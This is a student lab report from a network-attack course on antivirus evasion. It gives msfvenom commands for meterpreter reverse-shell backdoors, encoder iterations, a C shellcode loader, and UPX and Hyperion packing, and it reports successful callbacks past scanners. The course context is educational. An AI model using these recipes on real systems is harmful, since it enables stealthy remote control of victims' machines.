2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践
实验内容
- 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 使用msf编码器生成各种后门程序及检测
- 使用veil-evasion生成后门程序及检测
- 任务二:通过组合应用各种技术实现恶意代码免杀
- 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
基础问题回答
- (1)杀软是如何检测出恶意代码的?
检测代码是否含有特征码;检测代码的行为是不是和恶意代码相同;启发式恶意代码检测。 - (2)免杀是做什么?
防止恶意代码被安全软件检测、识别。 - (3)免杀的基本方法有哪些?
改变特征码
- 只有EXE——加壳(压缩壳 加密壳)
- 有shellcode——利用encode进行编码
- 有源代码——用其他语言进行重写再编译改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技
- 加密通讯数据
- 通讯方式
操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
- (1)杀软是如何检测出恶意代码的?
实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
用VirusTotal扫描后结果如下

用Virscan网站的扫描结果如下

不加任何处理的后门程序能够被大多数杀软检测到,下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。
- 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.216.130 LPORT=5301 -f exe > ctfbackdoor.exe
- 扫描结果

- 十次编码使用命令:
-i设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.216.130 LPORT=5301 -f exe > ctfbackdoor10.exe
- 扫描结果

由此可见,多次编码对免杀没有太大的效果
msfvenom生成jar文件
生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.216.130 LPORT=5301 x> ctf_backdoor_java.jar扫描结果

msfvenom生成php文件
- 生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.216.130 LPORT=5301 x> 20165301_backdoor.php - 扫描结果

使用veil-evasion生成后门程序及检测
- 安装veil
mkdir -p ~/.cache/winecd ~/.cache/winewget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msiwget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msisudo apt-get install veil-evasion

半手工注入Shellcode并执行
使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.216.130 LPORT=5301 -f c用c语言生成一段shellcode

创建一个文件20165301.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}

使用命令
i686-w64-mingw32-g++ 20165301.c -o 20165301.exe编译这个.c文件为可执行文件.exe

检测结果

加壳
在技术上分壳分为:
压缩壳
- 减少应用体积,如ASPack,UPX
加密壳
- 版权保护,反跟踪。如ASProtect,Armadillo
虚拟机
- 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida
使用压缩壳(UPX)
- 给20165301.exe加个壳

- 查看连接情况,可以反弹连接

- 检测结果

- 给20165301.exe加个壳
加密壳Hyperion
- 将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/目录中 - 进入目录
/usr/share/windows-binaries/hyperion/中 - 输入命令
wine hyperion.exe -v ctf.exe ctf_upxed_Hyperion.exe进行加壳

- 将上一个生成的文件拷贝到
生成新的可执行文件

反弹连接

检测结果

任务二:通过组合应用各种技术实现恶意代码免杀
- 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的
- 任务成功截图:



- 实验遇到的问题
veil安装过程遇到很大困难,有时候生成的壳无法打开。经过反复尝试,最终解决。
2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
随机推荐
- angular浏览器滚动条滚动到指定element 触发事件
angular.module('app').directive('ScrollTrigger', () => { return { restrict: "A", link:f ...
- 【刷题】LOJ 6002 「网络流 24 题」最小路径覆盖
题目描述 给定有向图 \(G = (V, E)\) .设 \(P\) 是 \(G\) 的一个简单路(顶点不相交)的集合.如果 \(V\) 中每个顶点恰好在 \(P\) 的一条路上,则称 \(P\) 是 ...
- [LOJ6436][PKUSC2018]神仙的游戏
loj description 给你一个只有01和?的字符串,问你是否存在一种把?改成01的方案使串存在一个长度为\(1-n\)的\(border\).\(n\le5\times10^5\) sol ...
- Hadoop生态圈-Flume的主流Sinks源配置
Hadoop生态圈-Flume的主流Sinks源配置 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 本篇博客只是配置的是Flume主流的Sinks,想要了解更详细的配置信息请参考官 ...
- Java基础-二进制以及字符编码简介
Java基础-二进制以及字符编码简介 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 想必计算机毕业的小伙伴或是从事IT的技术人员都知道数据存储都是以二进制的数字存储到硬盘的.从事开 ...
- Nested Loops(嵌套循环)
先扫描驱动表的(外表),外表的每一行驱动内表,然后匹配,所以nest loops不是主要依赖于内表有多少行,而是非常依赖于驱动表到底有多少行参与nested loops,因为驱动表(或者准确的说是驱动 ...
- SQL记录-PLSQL运算符
PL/SQL运算符 运算符是一个符号,告诉编译器执行特定的数学或逻辑操作. PL/SQL语言有丰富的内置运算符,运算符提供的以下几种类型: 算术运算符 关系运算符 比较运算符 逻辑运算符 字符串运算符 ...
- OpenGL ES 2.0 Shader 调试新思路(一): 改变提问方式
OpenGL ES 2.0 Shader 调试新思路(一): 改变提问方式 --是什么(答案是具体值) VS 是不是(答案是布尔值) 目录 背景介绍 问题描述 Codea 是 iPad 上的一款很方便 ...
- Codeforces Round #477 (rated, Div. 2, based on VK Cup 2018 Round 3) F 构造
http://codeforces.com/contest/967/problem/F 题目大意: 有n个点,n*(n-1)/2条边的无向图,其中有m条路目前开启(即能走),剩下的都是关闭状态 定义: ...
- 考研:操作系统:进程同步—信号量实现同步互斥(PV操作)
进程互斥的硬件实现方法